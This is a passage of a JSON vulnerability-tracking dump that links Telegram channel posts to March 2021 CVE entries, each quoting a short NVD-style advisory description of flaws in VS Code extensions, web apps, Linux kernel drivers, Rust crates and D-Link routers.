code by constructing a malicious workspace with a crafted sourcekit-lsp.serverPath, swift.languageServerPath, swift.path.sourcekite, swift.path.sourcekiteDockerMode, swift.path.swift_driver_bin, or swift.path.shell configuration value that triggers execution upon opening the workspace.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T19:32:30.000000Z"}, {"uuid": "04abc3aa-e046-4842-b705-a1d04e30dbe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28794", "type": "seen", "source": "https://t.me/cibsecurity/25129", "content": "\u203c CVE-2021-28794 \u203c\n\nThe unofficial ShellCheck extension before 0.13.4 for Visual Studio Code mishandles shellcheck.executablePath.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T19:32:29.000000Z"}, {"uuid": "124c872b-ef8c-412a-b90e-5b538268fb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28789", "type": "seen", "source": "https://t.me/cibsecurity/25127", "content": "\u203c CVE-2021-28789 \u203c\n\nThe unofficial apple/swift-format extension before 1.1.2 for Visual Studio Code allows remote attackers to execute arbitrary code by constructing a malicious workspace with a crafted apple-swift-format.path configuration value that triggers execution upon opening the workspace.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T19:32:24.000000Z"}, {"uuid": "972441c8-b55b-48b9-9881-94a092e5ef04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28791", "type": "seen", "source": "https://t.me/cibsecurity/25125", "content": "\u203c CVE-2021-28791 \u203c\n\nThe unofficial SwiftFormat extension before 1.3.7 for Visual Studio Code allows remote attackers to execute arbitrary code by constructing a malicious workspace with a crafted swiftformat.path configuration value that triggers execution upon opening the workspace.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T19:32:23.000000Z"}, {"uuid": "d7b455a9-f5ce-4b8b-a93c-60c8be83620c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28790", "type": "seen", "source": "https://t.me/cibsecurity/25124", "content": "\u203c CVE-2021-28790 \u203c\n\nThe unofficial SwiftLint extension before 1.4.5 for Visual Studio Code allows remote attackers to execute arbitrary code by constructing a malicious workspace with a crafted swiftlint.path configuration value that triggers execution upon opening the workspace.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T19:32:22.000000Z"}, {"uuid": "dd72fb36-6404-49a0-9405-682c1477ede4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28145", "type": "seen", "source": "https://t.me/cibsecurity/25122", "content": "\u203c CVE-2021-28145 \u203c\n\nConcrete CMS (formerly concrete5) before 8.5.5 allows remote authenticated users to conduct XSS attacks via a crafted survey block. This requires at least Editor privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T19:32:17.000000Z"}, {"uuid": "694207ff-4569-4646-8926-eb1fb6a6e3a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28420", "type": "seen", "source": "https://t.me/cibsecurity/25092", "content": "\u203c CVE-2021-28420 \u203c\n\nA cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote attackers to inject JavaScript via alerts.php and the \"from_time\" parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T15:32:12.000000Z"}, {"uuid": "10dbd92a-fa28-469b-9a3f-68c7d0bab885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28418", "type": "seen", "source": "https://t.me/cibsecurity/25091", "content": "\u203c CVE-2021-28418 \u203c\n\nA cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote attackers to inject JavaScript via settings.php and the \"category\" parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T15:32:07.000000Z"}, {"uuid": "01b44578-a56d-41a6-81b6-0639185afd7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "seen", "source": "https://t.me/cibsecurity/25089", "content": "\u203c CVE-2021-28419 \u203c\n\nThe \"order_col\" parameter in archive.php of SEO Panel 4.8.0 is vulnerable to time-based blind SQL injection, which leads to the ability to retrieve all databases.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T15:32:06.000000Z"}, {"uuid": "45a278c8-128c-4289-ab52-5224b88f845c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28417", "type": "seen", "source": "https://t.me/cibsecurity/25088", "content": "\u203c CVE-2021-28417 \u203c\n\nA cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote attackers to inject JavaScript via archive.php and the \"search_name\" parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T15:32:05.000000Z"}, {"uuid": "961f1fcd-8ecd-48c5-a165-109167c82d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28667", "type": "seen", "source": "https://t.me/cibsecurity/25076", "content": "\u203c CVE-2021-28667 \u203c\n\nStackStorm before 3.4.1, in some situations, has an infinite loop that consumes all available memory and disk space. This can occur if Python 3.x is used, the locale is not utf-8, and there is an attempt to log Unicode data (from an action or rule name).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T06:36:55.000000Z"}, {"uuid": "c05db947-8f2c-4939-a8ae-69dd5b643249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28681", "type": "seen", "source": "https://t.me/cibsecurity/25075", "content": "\u203c CVE-2021-28681 \u203c\n\nPion WebRTC before 3.0.15 didn't properly tear down the DTLS Connection when certificate verification failed. The PeerConnectionState was set to failed, but a user could ignore that and continue to use the PeerConnection. )A WebRTC implementation shouldn't allow the user to continue if verification has failed.)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T06:36:54.000000Z"}, {"uuid": "0d9e1a3c-6ae7-49f0-944b-d45e105d5248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28295", "type": "seen", "source": "https://t.me/cibsecurity/24975", "content": "\u203c CVE-2021-28295 \u203c\n\nOnline Ordering System 1.0 is vulnerable to unauthenticated SQL injection through /onlineordering/GPST/admin/design.php, which may lead to database information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-16T23:30:12.000000Z"}, {"uuid": "11967d11-fda9-45e3-9143-7f27315b937e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28380", "type": "seen", "source": "https://t.me/cibsecurity/24973", "content": "\u203c CVE-2021-28380 \u203c\n\nThe aimeos (aka Aimeos shop and e-commerce framework) extension before 19.10.12 and 20.x before 20.10.5 for TYPO3 allows XSS via a backend user account.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-16T23:30:10.000000Z"}, {"uuid": "ea53dd70-2e08-42cf-bb8a-66c9dd63fc33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28294", "type": "seen", "source": "https://t.me/cibsecurity/24978", "content": "\u203c CVE-2021-28294 \u203c\n\nOnline Ordering System 1.0 is vulnerable to arbitrary file upload through /onlineordering/GPST/store/initiateorder.php, which may lead to remote code execution (RCE).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-16T23:30:17.000000Z"}, {"uuid": "315c7e50-d70d-4cda-b944-b3673adb1b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28381", "type": "seen", "source": "https://t.me/cibsecurity/24976", "content": "\u203c CVE-2021-28381 \u203c\n\nThe vhs (aka VHS: Fluid ViewHelpers) extension before 5.1.1 for TYPO3 allows SQL injection via isLanguageViewHelper.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-16T23:30:12.000000Z"}, {"uuid": "3adb1246-371b-4f8d-ab42-28dd694e7504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28375", "type": "seen", "source": "https://t.me/cibsecurity/24890", "content": "\u203c CVE-2021-28375 \u203c\n\nAn issue was discovered in the Linux kernel through 5.11.6. fastrpc_internal_invoke in drivers/misc/fastrpc.c does not prevent user applications from sending kernel RPC messages, aka CID-20c40794eb85. This is a related issue to CVE-2019-2308.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-15T11:28:34.000000Z"}, {"uuid": "b3aa3658-e92f-4e0d-9cf3-6f5f599a3760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28028", "type": "seen", "source": "https://t.me/cibsecurity/24507", "content": "\u203c CVE-2021-28028 \u203c\n\nAn issue was discovered in the toodee crate before 0.3.0 for Rust. Row insertion can cause a double free upon an iterator panic.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:32.000000Z"}, {"uuid": "7ce4b759-d9cc-451c-a080-5918d4fe7206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28029", "type": "seen", "source": "https://t.me/cibsecurity/24506", "content": "\u203c CVE-2021-28029 \u203c\n\nAn issue was discovered in the toodee crate before 0.3.0 for Rust. The row-insertion feature allows attackers to read the contents of uninitialized memory locations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:30.000000Z"}, {"uuid": "38a01dad-8b4e-432b-909f-83e93972e2b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28660", "type": "seen", "source": "https://t.me/cibsecurity/25038", "content": "\u203c CVE-2021-28660 \u203c\n\nrtw_wx_set_scan in drivers/staging/rtl8188eu/os_dep/ioctl_linux.c in the Linux kernel through 5.11.6 allows writing beyond the end of the ->ssid[] array. NOTE: from the perspective of kernel.org releases, CVE IDs are not normally used for drivers/staging/* (unfinished work); however, system integrators may have situations in which a drivers/staging issue is relevant to their own customer base.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-17T17:31:05.000000Z"}, {"uuid": "9e36574c-6182-4905-9c54-660d56aee3ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28038", "type": "seen", "source": "https://t.me/cibsecurity/24547", "content": "\u203c CVE-2021-28038 \u203c\n\nAn issue was discovered in the Linux kernel through 5.11.3, as used with Xen PV. A certain part of the netback driver lacks necessary treatment of errors such as failed memory allocations (as a result of changes to the handling of grant mapping errors). A host OS denial of service may occur during misbehavior of a networking frontend driver. NOTE: this issue exists because of an incomplete fix for CVE-2021-26931.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T20:48:02.000000Z"}, {"uuid": "4e9fbb8b-d533-4598-b648-6478bd344b87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28039", "type": "seen", "source": "https://t.me/cibsecurity/24544", "content": "\u203c CVE-2021-28039 \u203c\n\nAn issue was discovered in the Linux kernel 5.9.x through 5.11.3, as used with Xen. In some less-common configurations, an x86 PV guest OS user can crash a Dom0 or driver domain via a large amount of I/O activity. The issue relates to misuse of guest physical addresses when a configuration has CONFIG_XEN_UNPOPULATED_ALLOC but not CONFIG_XEN_BALLOON_MEMORY_HOTPLUG.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T20:47:59.000000Z"}, {"uuid": "b511ad02-29d3-4b52-a1e0-26f0e9e7938a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28543", "type": "seen", "source": "https://t.me/cibsecurity/24950", "content": "\u203c CVE-2021-28543 \u203c\n\nVarnish varnish-modules before 0.17.1 allows remote attackers to cause a denial of service (daemon restart) in some configurations. This does not affect organizations that only install the Varnish Cache product; however, it is common to install both Varnish Cache and varnish-modules. Specifically, an assertion failure or NULL pointer dereference can be triggered in Varnish Cache through the varnish-modules header.append() and header.copy() functions. For some Varnish Configuration Language (VCL) files, this gives remote clients an opportunity to cause a Varnish Cache restart. A restart reduces overall availability and performance due to an increased number of cache misses, and may cause higher load on backend servers.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-16T17:30:00.000000Z"}, {"uuid": "af808352-3d7a-436c-8904-a3d929d84cb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28378", "type": "seen", "source": "https://t.me/cibsecurity/24889", "content": "\u203c CVE-2021-28378 \u203c\n\nGitea 1.12.x and 1.13.x before 1.13.4 allows XSS via certain issue data in some situations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-15T11:28:33.000000Z"}, {"uuid": "df697ee7-0355-48c0-9ad4-e0b142004390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28374", "type": "seen", "source": "https://t.me/cibsecurity/24888", "content": "\u203c CVE-2021-28374 \u203c\n\nThe Debian courier-authlib package before 0.71.1-2 for Courier Authentication Library creates a /run/courier/authdaemon directory with weak permissions, allowing an attacker to read user information. This may include a cleartext password in some configurations. In general, it includes the user's existence, uid and gids, home and/or Maildir directory, quota, and some type of password information (such as a hash).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-15T11:28:32.000000Z"}, {"uuid": "feadaee0-d31a-4859-a5db-7b610455967e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28379", "type": "seen", "source": "https://t.me/cibsecurity/24886", "content": "\u203c CVE-2021-28379 \u203c\n\nweb/upload/UploadHandler.php in Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39 allows uploads from a different origin.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-15T11:28:30.000000Z"}, {"uuid": "5b5a1efc-e719-4c9f-bcba-7d1fd2a56d55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28361", "type": "seen", "source": "https://t.me/cibsecurity/24883", "content": "\u203c CVE-2021-28361 \u203c\n\nAn issue was discovered in Storage Performance Development Kit (SPDK) before 20.01.01. If a PDU is sent to the iSCSI target with a zero length (but data is expected), the iSCSI target can crash with a NULL pointer dereference.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-13T22:26:48.000000Z"}, {"uuid": "de1f0e5d-2e7e-4f8f-af16-0c55f0208c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28092", "type": "seen", "source": "https://t.me/cibsecurity/24880", "content": "\u203c CVE-2021-28092 \u203c\n\nThe is-svg package 2.1.0 through 4.2.1 for Node.js uses a regular expression that is vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input for a very long time.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-13T00:55:54.000000Z"}, {"uuid": "162c332f-3392-4892-8308-d821a50cb3da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28161", "type": "seen", "source": "https://t.me/cibsecurity/24878", "content": "\u203c CVE-2021-28161 \u203c\n\nIn Eclipse Theia versions up to and including 1.8.0, in the debug console there is no HTML escaping, so arbitrary Javascript code can be injected.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-13T00:55:52.000000Z"}, {"uuid": "006577ff-f1c2-42d6-92a9-1fc23b4e0c0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28162", "type": "seen", "source": "https://t.me/cibsecurity/24877", "content": "\u203c CVE-2021-28162 \u203c\n\nIn Eclipse Theia versions up to and including 0.16.0, in the notification messages there is no HTML escaping, so Javascript code can run.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-13T00:55:51.000000Z"}, {"uuid": "1c0f43da-64ba-4368-8103-6793be024c84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28302", "type": "seen", "source": "https://t.me/cibsecurity/24850", "content": "\u203c CVE-2021-28302 \u203c\n\nA stack overflow in pupnp 1.16.1 can cause the denial of service through the Parser_parseDocument() function. ixmlNode_free() will release a child node recursively, which will consume stack space and lead to a crash.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-12T18:57:12.000000Z"}, {"uuid": "730a6f9b-ec3a-43f3-9432-da83789bfa96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28307", "type": "seen", "source": "https://t.me/cibsecurity/24840", "content": "\u203c CVE-2021-28307 \u203c\n\nAn issue was discovered in the fltk crate before 0.15.3 for Rust. There is a NULL pointer dereference during attempted use of a non-raster image for a window icon.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-12T12:55:29.000000Z"}, {"uuid": "e1268d82-5fb0-4be0-976b-a825609478fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28306", "type": "seen", "source": "https://t.me/cibsecurity/24838", "content": "\u203c CVE-2021-28306 \u203c\n\nAn issue was discovered in the fltk crate before 0.15.3 for Rust. There is a NULL pointer dereference during attempted use of a multi label type if the image is nonexistent.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-12T12:55:24.000000Z"}, {"uuid": "11738405-63cf-4811-b5c0-1fb3cd4a1e41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28305", "type": "seen", "source": "https://t.me/cibsecurity/24837", "content": "\u203c CVE-2021-28305 \u203c\n\nAn issue was discovered in the diesel crate before 1.4.6 for Rust. There is a use-after-free in the SQLite backend because the semantics of sqlite3_column_name are not followed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-12T12:55:23.000000Z"}, {"uuid": "f52adbad-29a0-41df-9e51-5f9da092f370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28308", "type": "seen", "source": "https://t.me/cibsecurity/24836", "content": "\u203c CVE-2021-28308 \u203c\n\nAn issue was discovered in the fltk crate before 0.15.3 for Rust. There is an out-of bounds read because the pixmap constructor lacks pixmap input validation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-12T12:55:22.000000Z"}, {"uuid": "4507bf74-d31b-4911-b39c-b72c18553299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28007", "type": "seen", "source": "https://t.me/cibsecurity/24675", "content": "\u203c CVE-2021-28007 \u203c\n\nWeb Based Quiz System 1.0 is affected by cross-site scripting (XSS) in register.php through the name parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-10T16:52:59.000000Z"}, {"uuid": "5375be15-066e-4d38-86ae-3164a354cc64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28119", "type": "seen", "source": "https://t.me/cibsecurity/24667", "content": "\u203c CVE-2021-28119 \u203c\n\nTwinkle Tray (aka twinkle-tray) through 1.13.3 allows remote command execution. A remote attacker may send a crafted IPC message to the exposed vulnerable ipcRenderer IPC interface, which invokes the dangerous openExternal API.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-10T02:52:00.000000Z"}, {"uuid": "59aab98f-ed59-4467-9a98-cd49954d5653", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28116", "type": "seen", "source": "https://t.me/cibsecurity/24665", "content": "\u203c CVE-2021-28116 \u203c\n\nSquid through 4.14 and 5.x through 5.0.5, in some configurations, allows information disclosure because of an out-of-bounds read in WCCP protocol data. This can be leveraged as part of a chain for remote code execution as nobody.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-10T00:51:56.000000Z"}, {"uuid": "5f29c2c7-f83f-4029-8026-efb74ca8cb60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28115", "type": "seen", "source": "https://t.me/cibsecurity/24664", "content": "\u203c CVE-2021-28115 \u203c\n\nThe OUGC Feedback plugin before 1.8.23 for MyBB allows XSS via the comment field of feedback during an edit operation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-10T00:51:55.000000Z"}, {"uuid": "ffdb0dec-9081-453f-9ed2-cfb55a1f7008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28153", "type": "seen", "source": "https://t.me/cibsecurity/24825", "content": "\u203c CVE-2021-28153 \u203c\n\nAn issue was discovered in GNOME GLib before 2.66.8. When g_file_replace() is used with G_FILE_CREATE_REPLACE_DESTINATION to replace a path that is a dangling symlink, it incorrectly also creates the target of the symlink as an empty file, which could conceivably have security relevance if the symlink is attacker-controlled. (If the path is a symlink to a file that already exists, then the contents of that file correctly remain unchanged.)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-12T00:54:53.000000Z"}, {"uuid": "4313fbfe-8623-4d1d-ae3b-32b67656f82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28143", "type": "seen", "source": "https://t.me/cibsecurity/24824", "content": "\u203c CVE-2021-28143 \u203c\n\n/jsonrpc on D-Link DIR-841 3.03 and 3.04 devices allows authenticated command injection via ping, ping6, or traceroute (under System Tools).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-12T00:54:52.000000Z"}, {"uuid": "b6273d63-5ef1-4a58-bbce-4ab032bd216f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28027", "type": "seen", "source": "https://t.me/cibsecurity/24514", "content": "\u203c CVE-2021-28027 \u203c\n\nAn issue was discovered in the bam crate before 0.1.3 for Rust. There is an integer underflow and out-of-bounds write during the loading of a bgzip block.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:40.000000Z"}, {"uuid": "05d24edb-12f3-4cff-9466-85a01c498726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28154", "type": "seen", "source": "https://t.me/cibsecurity/24816", "content": "\u203c CVE-2021-28154 \u203c\n\n** DISPUTED ** Camunda Modeler (aka camunda-modeler) through 4.6.0 allows arbitrary file access. A remote attacker may send a crafted IPC message to the exposed vulnerable ipcRenderer IPC interface, which manipulates the readFile and writeFile APIs. NOTE: the vendor states \"The way we secured the app is that it does not allow any remote scripts to be opened, no unsafe scripts to be evaluated, no remote sites to be browsed.\"\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-12T00:54:41.000000Z"}, {"uuid": "70d042c1-bc07-4df6-ba75-a68f45823d14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28088", "type": "seen", "source": "https://t.me/cibsecurity/24800", "content": "\u203c CVE-2021-28088 \u203c\n\nCross-site scripting (XSS) in modules/content/admin/content.php in ImpressCMS profile 1.4.2 allows remote attackers to inject arbitrary web script or HTML parameters through the \"Display Name\" field.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-11T20:54:35.000000Z"}, {"uuid": "2d7d1600-4d0e-4d45-8277-25675f8ddfb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28141", "type": "seen", "source": "https://t.me/cibsecurity/24797", "content": "\u203c CVE-2021-28141 \u203c\n\nAn issue was discovered in Progress Telerik UI for ASP.NET AJAX 2021.1.224. It allows unauthorized access to MicrosoftAjax.js through the Telerik.Web.UI.WebResource.axd file. This may allow the attacker to gain unauthorized access to the server and execute code. To exploit, one must use the parameter _TSM_HiddenField_ and inject a command at the end of the URI.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-11T20:54:32.000000Z"}, {"uuid": "f117c148-52b0-4e7c-9fe2-e934da0ffa69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28144", "type": "seen", "source": "https://t.me/cibsecurity/24796", "content": "\u203c CVE-2021-28144 \u203c\n\nprog.cgi on D-Link DIR-3060 devices before 1.11b04 HF2 allows remote authenticated users to inject arbitrary commands in an admin or root context because SetVirtualServerSettings calls CheckArpTables, which calls popen unsafely.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-11T20:54:31.000000Z"}, {"uuid": "750ee6f7-72e8-46fb-b9f4-d62efdf2d190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28006", "type": "seen", "source": 